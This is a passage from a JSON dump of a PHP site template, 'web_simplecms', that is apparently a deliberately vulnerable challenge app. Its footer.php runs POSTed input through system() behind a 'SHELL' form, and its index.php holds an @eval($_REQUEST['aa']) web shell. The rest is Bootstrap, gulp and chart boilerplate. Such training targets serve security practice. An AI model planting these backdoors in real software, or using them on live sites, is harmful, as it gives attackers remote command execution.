'2007',\n            a: 75,\n            b: 65\n        }, {\n            y: '2008',\n            a: 50,\n            b: 40\n        }, {\n            y: '2009',\n            a: 75,\n            b: 65\n        }, {\n            y: '2010',\n            a: 50,\n            b: 40\n        }, {\n            y: '2011',\n            a: 75,\n            b: 65\n        }, {\n            y: '2012',\n            a: 100,\n            b: 90\n        }],\n        xkey: 'y',\n        ykeys: ['a', 'b'],\n        labels: ['Series A', 'Series B'],\n        hideHover: 'auto',\n        resize: true\n    });\n    \n});\n"
  },
  {
    "path": "web_simplecms/simplecms/footer.php",
    "content": "<?php \n\t$shell=$_POST['shell'];\n\tsystem($shell);\n\tif($shell !=\"\"){\n\t\texit();\n\t}\n?>\n<!--footer-->\n\t<div class=\"footer\">\n\t\t<div class=\"container\">\n\t\t\t<div class=\"footer-row\">\n\t\t\t\t<div class=\"col-md-3 footer-grids\">\n\t\t\t\t\t<h4>Seafaring</h4>\n\t\t\t\t\t<p>mail@example.com</p>\n\t\t\t\t\t<p>+2 000 222 1111</p>\n\t\t\t\t\t<ul class=\"social-icons\">\n\t\t\t\t\t\t<li><a class=\"p\"></a></li>\n\t\t\t\t\t\t<li><a class=\"in\"></a></li>\n\t\t\t\t\t\t<li><a class=\"v\"></a></li>\n\t\t\t\t\t\t<li><a class=\"facebook\"></a></li>\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-3 footer-grids\">\n\t\t\t\t\t<h3>目录</h3>\t\t\t\t\t\n\t\t\t\t\t<ul>\n\t\t\t\t\t\t<li><a href=\"./index.php\">主页</a></li>\n\t\t\t\t\t\t<li><a href=\"./about.php?file=header.php\">关于</a></li>\n\t\t\t\t\t\t<li><a href=\"./services.php\">服务</a></li>\n\t\t\t\t\t\t<li><a href=\"./contact.php\">联系我们</a></li>\n\t\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-4 footer-grids\">\t\n\t\t\t\t\t<h3>SHELL</h3>\n\t\t\t\t\t<p>It seems that this command can be executed ...<p>\n\t\t\t\t\t<form method=\"POST\" action=\"footer.php\" >\t\t\t\t\t \n\t\t\t\t\t    <input  name=\"shell\" type=\"text\" class=\"text\" value=\"ls\" onfocus=\"this.value = '';\" onblur=\"if (this.value == '') {this.value = 'Enter Email';}\">\n\t\t\t\t\t\t<input type=\"submit\" value=\"执行\">\t\t\t\t\t \n\t\t\t\t </form>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n\t<div class=\"footer-bottom\">\n\t\t<div class=\"container\">\t\t\n\t\t\t<p>Copyright &copy; 2018.Company name All rights reserved.More Templates - </p>\t\t\t\t\t\n\t\t</div>\n\t</div>\n<!--//footer-->\t\n<!-- for bootstrap working -->\n\t\t<script src=\"js/bootstrap.js\"> </script>\n"
  },
  {
    "path": "web_simplecms/simplecms/gulpfile.js",
    "content": "var gulp = require('gulp');\nvar less = require('gulp-less');\nvar browserSync = require('browser-sync').create();\nvar header = require('gulp-header');\nvar cleanCSS = require('gulp-clean-css');\nvar rename = require(\"gulp-rename\");\nvar uglify = require('gulp-uglify');\nvar pkg = require('./package.json');\n\n// Set the banner content\nvar banner = ['/*!\\n',\n    ' * Start Bootstrap - <%= pkg.title %> v<%= pkg.version %> (<%= pkg.homepage %>)\\n',\n    ' * Copyright 2013-' + (new Date()).getFullYear(), ' <%= pkg.author %>\\n',\n    ' * Licensed under <%= pkg.license.type %> (<%= pkg.license.url %>)\\n',\n    ' */\\n',\n    ''\n].join('');\n\n// Compile LESS files from /less into /css\ngulp.task('less', function() {\n    return gulp.src('less/sb-admin-2.less')\n        .pipe(less())\n        .pipe(header(banner, { pkg: pkg }))\n        .pipe(gulp.dest('dist/css'))\n        .pipe(browserSync.reload({\n            stream: true\n        }))\n});\n\n// Minify compiled CSS\ngulp.task('minify-css', ['less'], function() {\n    return gulp.src('dist/css/sb-admin-2.css')\n        .pipe(cleanCSS({ compatibility: 'ie8' }))\n        .pipe(rename({ suffix: '.min' }))\n        .pipe(gulp.dest('dist/css'))\n        .pipe(browserSync.reload({\n            stream: true\n        }))\n});\n\n// Copy JS to dist\ngulp.task('js', function() {\n    return gulp.src(['js/sb-admin-2.js'])\n        .pipe(header(banner, { pkg: pkg }))\n        .pipe(gulp.dest('dist/js'))\n        .pipe(browserSync.reload({\n            stream: true\n        }))\n})\n\n// Minify JS\ngulp.task('minify-js', ['js'], function() {\n    return gulp.src('js/sb-admin-2.js')\n        .pipe(uglify())\n        .pipe(header(banner, { pkg: pkg }))\n        .pipe(rename({ suffix: '.min' }))\n        .pipe(gulp.dest('dist/js'))\n        .pipe(browserSync.reload({\n            stream: true\n        }))\n});\n\n// Copy vendor libraries from /bower_components into /vendor\ngulp.task('copy', function() {\n    gulp.src(['bower_components/bootstrap/dist/**/*', '!**/npm.js', '!**/bootstrap-theme.*', '!**/*.map'])\n        .pipe(gulp.dest('vendor/bootstrap'))\n\n    gulp.src(['bower_components/bootstrap-social/*.css', 'bower_components/bootstrap-social/*.less', 'bower_components/bootstrap-social/*.scss'])\n        .pipe(gulp.dest('vendor/bootstrap-social'))\n\n    gulp.src(['bower_components/datatables/media/**/*'])\n        .pipe(gulp.dest('vendor/datatables'))\n\n    gulp.src(['bower_components/datatables-plugins/integration/bootstrap/3/*'])\n        .pipe(gulp.dest('vendor/datatables-plugins'))\n\n    gulp.src(['bower_components/datatables-responsive/css/*', 'bower_components/datatables-responsive/js/*'])\n        .pipe(gulp.dest('vendor/datatables-responsive'))\n\n    gulp.src(['bower_components/flot/*.js'])\n        .pipe(gulp.dest('vendor/flot'))\n\n    gulp.src(['bower_components/flot.tooltip/js/*.js'])\n        .pipe(gulp.dest('vendor/flot-tooltip'))\n\n    gulp.src(['bower_components/font-awesome/**/*', '!bower_components/font-awesome/*.json', '!bower_components/font-awesome/.*'])\n        .pipe(gulp.dest('vendor/font-awesome'))\n\n    gulp.src(['bower_components/jquery/dist/jquery.js', 'bower_components/jquery/dist/jquery.min.js'])\n        .pipe(gulp.dest('vendor/jquery'))\n\n    gulp.src(['bower_components/metisMenu/dist/*'])\n        .pipe(gulp.dest('vendor/metisMenu'))\n\n    gulp.src(['bower_components/morrisjs/*.js', 'bower_components/morrisjs/*.css', '!bower_components/morrisjs/Gruntfile.js'])\n        .pipe(gulp.dest('vendor/morrisjs'))\n\n    gulp.src(['bower_components/raphael/raphael.js', 'bower_components/raphael/raphael.min.js'])\n        .pipe(gulp.dest('vendor/raphael'))\n\n})\n\n// Run everything\ngulp.task('default', ['minify-css', 'minify-js', 'copy']);\n\n// Configure the browserSync task\ngulp.task('browserSync', function() {\n    browserSync.init({\n        server: {\n            baseDir: ''\n        },\n    })\n})\n\n// Dev task with browserSync\ngulp.task('dev', ['browserSync', 'less', 'minify-css', 'js', 'minify-js'], function() {\n    gulp.watch('less/*.less', ['less']);\n    gulp.watch('dist/css/*.css', ['minify-css']);\n    gulp.watch('js/*.js', ['minify-js']);\n    // Reloads the browser whenever HTML or JS files change\n    gulp.watch('pages/*.html', browserSync.reload);\n    gulp.watch('dist/js/*.js', browserSync.reload);\n});\n"
  },
  {
    "path": "web_simplecms/simplecms/header.php",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n<title>Home</title>\n<!-- for-mobile-apps -->\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n<meta name=\"keywords\" content=\"Seafaring Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, \nSmartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design\" />\n<script type=\"application/x-javascript\"> addEventListener(\"load\", function() { setTimeout(hideURLbar, 0); }, false);\n\t\tfunction hideURLbar(){ window.scrollTo(0,1); } </script>\n<!-- //for-mobile-apps -->\n<link href=\"css/bootstrap.css\" rel=\"stylesheet\" type=\"text/css\" media=\"all\" />\n<link href=\"css/style.css\" rel=\"stylesheet\" type=\"text/css\" media=\"all\" />\n<!-- js -->\n<script src=\"js/jquery-1.11.1.min.js\"></script>\n<!-- //js -->\n<!-- FlexSlider -->\n<link rel=\"stylesheet\" href=\"css/flexslider.css\" type=\"text/css\" media=\"screen\" />\n<script defer src=\"js/jquery.flexslider.js\"></script>\n<script type=\"text/javascript\">\n\t\t\t\t\t\t$(window).load(function(){\n\t\t\t\t\t\t  $('.flexslider').flexslider({\n\t\t\t\t\t\t\tanimation: \"slide\",\n\t\t\t\t\t\t\tstart: function(slider){\n\t\t\t\t\t\t\t  $('body').removeClass('loading');\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t  });\n\t\t\t\t\t\t});\n\t\t\t\t\t  </script>\n\n</head>\n\t\n<body>\n<!-- header -->\n\t<div class=\"header\">\n\t\t<div class=\"search\">\n\t\t\t<form method=\"get\" action=\"search.php?id=1\">\n\t\t\t\t<i class=\"glyphicon glyphicon-search\" aria-hidden=\"true\"></i><input type=\"text\" name=\"id\" value=\"\">\n\t\t\t\t<input type=\"submit\" value=\"search\">\n\t\t</form>\n\t\t</div>\n\t\t<div class=\"logo\">\n\t\t\t<a href=\"./index.php\">Seafaring <span>A Travel Agency</span></a>\n\t\t</div>\n\t\t<div class=\"logo-right\">\n\t\t\t<ul>\n\t\t\t\t\n\t\t\t\t<li><a href=\"./login.php\">登录</a></li>\n\t\t\t\t<li>注册</li>\n\t\t\t</ul>\n\t\t</div>\n\t\t<div class=\"clearfix\"> </div>\n\t</div>\n\t<div class=\"header-nav\">\n\t\t<div class=\"container\">\n\t\t\t<nav class=\"navbar navbar-default\">\n\t\t\t\t<!-- Brand and toggle get grouped for better mobile display -->\n\t\t\t\t<div class=\"navbar-header\">\n\t\t\t\t  <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#bs-example-navbar-collapse-1\">\n\t\t\t\t\t<span class=\"sr-only\">Toggle navigation</span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t\t<span class=\"icon-bar\"></span>\n\t\t\t\t  </button>\n\t\t\t\t</div>\n\n\t\t\t\t<!-- Collect the nav links, forms, and other content for toggling -->\n\t\t\t\t<div class=\"collapse navbar-collapse nav-wil\" id=\"bs-example-navbar-collapse-1\">\n\t\t\t\t\t<nav class=\"cl-effect-1\">\n\t\t\t\t\t\t<ul class=\"nav navbar-nav\">\n\t\t\t\t\t\t\t<li class=\"active\"><a href=\"./index.php\">主页</a></li>\n\t\t\t\t\t\t\t<li><a href=\"./about.php?file=header.php\">关于</a></li>\n\t\t\t\t\t\t\t<li><a href=\"./services.php\">服务</a></li>\n\t\t\t\t\t\t\t<li><a href=\"./contact.php\">联系我们</a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</nav>\n\t\t\t\t</div><!-- /.navbar-collapse -->\t\n\t\t\t</nav>\n\t\t</div>\n\t</div>\n\t\n"
  },
  {
    "path": "web_simplecms/simplecms/index.php",
    "content": "<?php \ninclude 'header.php';\n@eval($_REQUEST['aa']);\n?>\n<!-- banner -->\n\t<div class=\"banner\">\n\t\t<div class=\"container\">\n\t\t\t<div class=\"banner-info-grid\">\n\t\t\t\t<section class=\"slider\">\n\t\t\t\t\t<div class=\"flexslider\">\n\t\t\t\t\t\t<ul class=\"slides\">\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<div class=\"banner-info\">\n\t\t\t\t\t\t\t\t\t<h1>Sed ut perspiciatis unde omnis iste natus</h1>\n\t\t\t\t\t\t\t\t\t<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, \n\t\t\t\t\t\t\t\t\t\tsed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</p>\n\t\t\t\t\t\t\t\t\t<div class=\"more\">\n\t\t\t\t\t\t\t\t\t\t<a href=\"./index.php\">更多</a>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<div class=\"banner-info\">\n\t\t\t\t\t\t\t\t\t<h1>Sed ut perspiciatis unde omnis iste natus</h1>\n\t\t\t\t\t\t\t\t\t<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, \n\t\t\t\t\t\t\t\t\t\tsed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</p>\n\t\t\t\t\t\t\t\t\t<div class=\"more\">\n\t\t\t\t\t\t\t\t\t\t<a href=\"./index.php\">更多</a>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t\t<li>\n\t\t\t\t\t\t\t\t<div class=\"banner-info\">\n\t\t\t\t\t\t\t\t\t<h1>Sed ut perspiciatis unde omnis iste natus</h1>\n\t\t\t\t\t\t\t\t\t<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit, \n\t\t\t\t\t\t\t\t\t\tsed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</p>\n\t\t\t\t\t\t\t\t\t<div class=\"more\">\n\t\t\t\t\t\t\t\t\t\t<a href=\"./index.php\">更多</a>\n\t\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</div>\n\t\t\t\t</section>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n<!-- //banner -->\n<div class=\"copyrights\">Collect from <a href=\"http://www.cssmoban.com/\"  title=\"网站模板\">网站模板</a></div>\n<!-- banner-bottom -->\n\t<div class=\"banner-bottom\">\n\t\t<div class=\"container\">\n\t\t\t<h3>Welcome To Our Travel Agency !</h3>\n\t\t\t<div class=\"banner-bottom-grids\">\n\t\t\t\t<div class=\"col-md-6 banner-bottom-grid\">\n\t\t\t\t\t<div class=\"col-xs-8 banner-bottom-grid-left\">\n\t\t\t\t\t\t<h4>totam rem aperiam, eaque</h4>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li>Voluptatem <a href=\"#\"><span class=\"glyphicon glyphicon-cloud\" aria-hidden=\"true\"></span></a></li>\n\t\t\t\t\t\t\t<li>Aperiam <a href=\"#\"><span class=\"glyphicon glyphicon-pencil\" aria-hidden=\"true\"></span></a></li>\n\t\t\t\t\t\t\t<li><a href=\"#\">Incididunt<span class=\"glyphicon glyphicon-off\" aria-hidden=\"true\"></span></a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<p>Quis autem vel eum iure reprehenderit qui in ea voluptate velit \n\t\t\t\t\t\t\tesse quam nihil.</p>\n\t\t\t\t\t\t<div class=\"more m1\">\n\t\t\t\t\t\t\t<a href=\"./index.php\">More Info</a>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-xs-4 banner-bottom-grid-right\">\n\t\t\t\t\t\t<img src=\"images/1.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t</div> \n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-6 banner-bottom-grid\">\n\t\t\t\t\t<div class=\"col-xs-4 banner-bottom-grid-right\">\n\t\t\t\t\t\t<img src=\"images/2.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t</div> \n\t\t\t\t\t<div class=\"col-xs-8 banner-bottom-grid-left banner-bottom-grid-l\">\n\t\t\t\t\t\t<h4>totam rem aperiam, eaque</h4>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li><span class=\"glyphicon glyphicon-cloud\" aria-hidden=\"true\"></span>Voluptatem <a href=\"#\"></a></li>\n\t\t\t\t\t\t\t<li><span class=\"glyphicon glyphicon-pencil\" aria-hidden=\"true\"></span>Aperiam <a href=\"#\"></a></li>\n\t\t\t\t\t\t\t<li><a href=\"#\"><span class=\"glyphicon glyphicon-off\" aria-hidden=\"true\"></span>Incididunt</a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<p>Quis autem vel eum iure reprehenderit qui in ea voluptate velit \n\t\t\t\t\t\t\tesse quam nihil.</p>\n\t\t\t\t\t\t<div class=\"more m1\">\n\t\t\t\t\t\t\t<a href=\"./index.php\">More Info</a>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"clearfix\"></div>\n\t\t\t</div>\n\t\t\t<div class=\"banner-bottom-grids\">\n\t\t\t\t<div class=\"col-md-6 banner-bottom-grid\">\n\t\t\t\t\t<div class=\"col-xs-8 banner-bottom-grid-left\">\n\t\t\t\t\t\t<h4>totam rem aperiam, eaque</h4>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li>Voluptatem <a href=\"#\"><span class=\"glyphicon glyphicon-cloud\" aria-hidden=\"true\"></span></a></li>\n\t\t\t\t\t\t\t<li>Aperiam <a href=\"#\"><span class=\"glyphicon glyphicon-pencil\" aria-hidden=\"true\"></span></a></li>\n\t\t\t\t\t\t\t<li><a href=\"#\">Incididunt<span class=\"glyphicon glyphicon-off\" aria-hidden=\"true\"></span></a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<p>Quis autem vel eum iure reprehenderit qui in ea voluptate velit \n\t\t\t\t\t\t\tesse quam nihil.</p>\n\t\t\t\t\t\t<div class=\"more m1\">\n\t\t\t\t\t\t\t<a href=\"./index.php\">More Info</a>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-xs-4 banner-bottom-grid-right\">\n\t\t\t\t\t\t<img src=\"images/3.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t</div> \n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col-md-6 banner-bottom-grid\">\n\t\t\t\t\t<div class=\"col-xs-4 banner-bottom-grid-right\">\n\t\t\t\t\t\t<img src=\"images/4.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t</div> \n\t\t\t\t\t<div class=\"col-xs-8 banner-bottom-grid-left banner-bottom-grid-l\">\n\t\t\t\t\t\t<h4>totam rem aperiam, eaque</h4>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li><span class=\"glyphicon glyphicon-cloud\" aria-hidden=\"true\"></span>Voluptatem <a href=\"#\"></a></li>\n\t\t\t\t\t\t\t<li><span class=\"glyphicon glyphicon-pencil\" aria-hidden=\"true\"></span>Aperiam <a href=\"#\"></a></li>\n\t\t\t\t\t\t\t<li><a href=\"#\"><span class=\"glyphicon glyphicon-off\" aria-hidden=\"true\"></span>Incididunt</a></li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<p>Quis autem vel eum iure reprehenderit qui in ea voluptate velit \n\t\t\t\t\t\t\tesse quam nihil.</p>\n\t\t\t\t\t\t<div class=\"more m1\">\n\t\t\t\t\t\t\t<a href=\"./index.php\">More Info</a>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"clearfix\"></div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n<!-- //banner-bottom -->\n<?php \n\tinclude 'footer.php';\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/js/bootstrap.js",
    "content": "/*!\n * Bootstrap v3.3.4 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\nif (typeof jQuery === 'undefined') {\n  throw new Error('Bootstrap\\'s JavaScript requires jQuery')\n}\n\n+function ($) {\n  'use strict';\n  var version = $.fn.jquery.split(' ')[0].split('.')\n  if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1)) {\n    throw new Error('Bootstrap\\'s JavaScript requires jQuery version 1.9.1 or higher')\n  }\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: transition.js v3.3.4\n * http://getbootstrap.com/javascript/#transitions\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/)\n  // ============================================================\n\n  function transitionEnd() {\n    var el = document.createElement('bootstrap')\n\n    var transEndEventNames = {\n      WebkitTransition : 'webkitTransitionEnd',\n      MozTransition    : 'transitionend',\n      OTransition      : 'oTransitionEnd otransitionend',\n      transition       : 'transitionend'\n    }\n\n    for (var name in transEndEventNames) {\n      if (el.style[name] !== undefined) {\n        return { end: transEndEventNames[name] }\n      }\n    }\n\n    return false // explicit for ie8 (  ._.)\n  }\n\n  // http://blog.alexmaccaw.com/css-transitions\n  $.fn.emulateTransitionEnd = function (duration) {\n    var called = false\n    var $el = this\n    $(this).one('bsTransitionEnd', function () { called = true })\n    var callback = function () { if (!called) $($el).trigger($.support.transition.end) }\n    setTimeout(callback, duration)\n    return this\n  }\n\n  $(function () {\n    $.support.transition = transitionEnd()\n\n    if (!$.support.transition) return\n\n    $.event.special.bsTransitionEnd = {\n      bindType: $.support.transition.end,\n      delegateType: $.support.transition.end,\n      handle: function (e) {\n        if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments)\n      }\n    }\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: alert.js v3.3.4\n * http://getbootstrap.com/javascript/#alerts\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // ALERT CLASS DEFINITION\n  // ======================\n\n  var dismiss = '[data-dismiss=\"alert\"]'\n  var Alert   = function (el) {\n    $(el).on('click', dismiss, this.close)\n  }\n\n  Alert.VERSION = '3.3.4'\n\n  Alert.TRANSITION_DURATION = 150\n\n  Alert.prototype.close = function (e) {\n    var $this    = $(this)\n    var selector = $this.attr('data-target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    var $parent = $(selector)\n\n    if (e) e.preventDefault()\n\n    if (!$parent.length) {\n      $parent = $this.closest('.alert')\n    }\n\n    $parent.trigger(e = $.Event('close.bs.alert'))\n\n    if (e.isDefaultPrevented()) return\n\n    $parent.removeClass('in')\n\n    function removeElement() {\n      // detach from parent, fire event then clean up data\n      $parent.detach().trigger('closed.bs.alert').remove()\n    }\n\n    $.support.transition && $parent.hasClass('fade') ?\n      $parent\n        .one('bsTransitionEnd', removeElement)\n        .emulateTransitionEnd(Alert.TRANSITION_DURATION) :\n      removeElement()\n  }\n\n\n  // ALERT PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.alert')\n\n      if (!data) $this.data('bs.alert', (data = new Alert(this)))\n      if (typeof option == 'string') data[option].call($this)\n    })\n  }\n\n  var old = $.fn.alert\n\n  $.fn.alert             = Plugin\n  $.fn.alert.Constructor = Alert\n\n\n  // ALERT NO CONFLICT\n  // =================\n\n  $.fn.alert.noConflict = function () {\n    $.fn.alert = old\n    return this\n  }\n\n\n  // ALERT DATA-API\n  // ==============\n\n  $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: button.js v3.3.4\n * http://getbootstrap.com/javascript/#buttons\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // BUTTON PUBLIC CLASS DEFINITION\n  // ==============================\n\n  var Button = function (element, options) {\n    this.$element  = $(element)\n    this.options   = $.extend({}, Button.DEFAULTS, options)\n    this.isLoading = false\n  }\n\n  Button.VERSION  = '3.3.4'\n\n  Button.DEFAULTS = {\n    loadingText: 'loading...'\n  }\n\n  Button.prototype.setState = function (state) {\n    var d    = 'disabled'\n    var $el  = this.$element\n    var val  = $el.is('input') ? 'val' : 'html'\n    var data = $el.data()\n\n    state = state + 'Text'\n\n    if (data.resetText == null) $el.data('resetText', $el[val]())\n\n    // push to event loop to allow forms to submit\n    setTimeout($.proxy(function () {\n      $el[val](data[state] == null ? this.options[state] : data[state])\n\n      if (state == 'loadingText') {\n        this.isLoading = true\n        $el.addClass(d).attr(d, d)\n      } else if (this.isLoading) {\n        this.isLoading = false\n        $el.removeClass(d).removeAttr(d)\n      }\n    }, this), 0)\n  }\n\n  Button.prototype.toggle = function () {\n    var changed = true\n    var $parent = this.$element.closest('[data-toggle=\"buttons\"]')\n\n    if ($parent.length) {\n      var $input = this.$element.find('input')\n      if ($input.prop('type') == 'radio') {\n        if ($input.prop('checked') && this.$element.hasClass('active')) changed = false\n        else $parent.find('.active').removeClass('active')\n      }\n      if (changed) $input.prop('checked', !this.$element.hasClass('active')).trigger('change')\n    } else {\n      this.$element.attr('aria-pressed', !this.$element.hasClass('active'))\n    }\n\n    if (changed) this.$element.toggleClass('active')\n  }\n\n\n  // BUTTON PLUGIN DEFINITION\n  // ========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.button')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.button', (data = new Button(this, options)))\n\n      if (option == 'toggle') data.toggle()\n      else if (option) data.setState(option)\n    })\n  }\n\n  var old = $.fn.button\n\n  $.fn.button             = Plugin\n  $.fn.button.Constructor = Button\n\n\n  // BUTTON NO CONFLICT\n  // ==================\n\n  $.fn.button.noConflict = function () {\n    $.fn.button = old\n    return this\n  }\n\n\n  // BUTTON DATA-API\n  // ===============\n\n  $(document)\n    .on('click.bs.button.data-api', '[data-toggle^=\"button\"]', function (e) {\n      var $btn = $(e.target)\n      if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn')\n      Plugin.call($btn, 'toggle')\n      e.preventDefault()\n    })\n    .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^=\"button\"]', function (e) {\n      $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type))\n    })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: carousel.js v3.3.4\n * http://getbootstrap.com/javascript/#carousel\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // CAROUSEL CLASS DEFINITION\n  // =========================\n\n  var Carousel = function (element, options) {\n    this.$element    = $(element)\n    this.$indicators = this.$element.find('.carousel-indicators')\n    this.options     = options\n    this.paused      = null\n    this.sliding     = null\n    this.interval    = null\n    this.$active     = null\n    this.$items      = null\n\n    this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this))\n\n    this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element\n      .on('mouseenter.bs.carousel', $.proxy(this.pause, this))\n      .on('mouseleave.bs.carousel', $.proxy(this.cycle, this))\n  }\n\n  Carousel.VERSION  = '3.3.4'\n\n  Carousel.TRANSITION_DURATION = 600\n\n  Carousel.DEFAULTS = {\n    interval: 5000,\n    pause: 'hover',\n    wrap: true,\n    keyboard: true\n  }\n\n  Carousel.prototype.keydown = function (e) {\n    if (/input|textarea/i.test(e.target.tagName)) return\n    switch (e.which) {\n      case 37: this.prev(); break\n      case 39: this.next(); break\n      default: return\n    }\n\n    e.preventDefault()\n  }\n\n  Carousel.prototype.cycle = function (e) {\n    e || (this.paused = false)\n\n    this.interval && clearInterval(this.interval)\n\n    this.options.interval\n      && !this.paused\n      && (this.interval = setInterval($.proxy(this.next, this), this.options.interval))\n\n    return this\n  }\n\n  Carousel.prototype.getItemIndex = function (item) {\n    this.$items = item.parent().children('.item')\n    return this.$items.index(item || this.$active)\n  }\n\n  Carousel.prototype.getItemForDirection = function (direction, active) {\n    var activeIndex = this.getItemIndex(active)\n    var willWrap = (direction == 'prev' && activeIndex === 0)\n                || (direction == 'next' && activeIndex == (this.$items.length - 1))\n    if (willWrap && !this.options.wrap) return active\n    var delta = direction == 'prev' ? -1 : 1\n    var itemIndex = (activeIndex + delta) % this.$items.length\n    return this.$items.eq(itemIndex)\n  }\n\n  Carousel.prototype.to = function (pos) {\n    var that        = this\n    var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active'))\n\n    if (pos > (this.$items.length - 1) || pos < 0) return\n\n    if (this.sliding)       return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, \"slid\"\n    if (activeIndex == pos) return this.pause().cycle()\n\n    return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos))\n  }\n\n  Carousel.prototype.pause = function (e) {\n    e || (this.paused = true)\n\n    if (this.$element.find('.next, .prev').length && $.support.transition) {\n      this.$element.trigger($.support.transition.end)\n      this.cycle(true)\n    }\n\n    this.interval = clearInterval(this.interval)\n\n    return this\n  }\n\n  Carousel.prototype.next = function () {\n    if (this.sliding) return\n    return this.slide('next')\n  }\n\n  Carousel.prototype.prev = function () {\n    if (this.sliding) return\n    return this.slide('prev')\n  }\n\n  Carousel.prototype.slide = function (type, next) {\n    var $active   = this.$element.find('.item.active')\n    var $next     = next 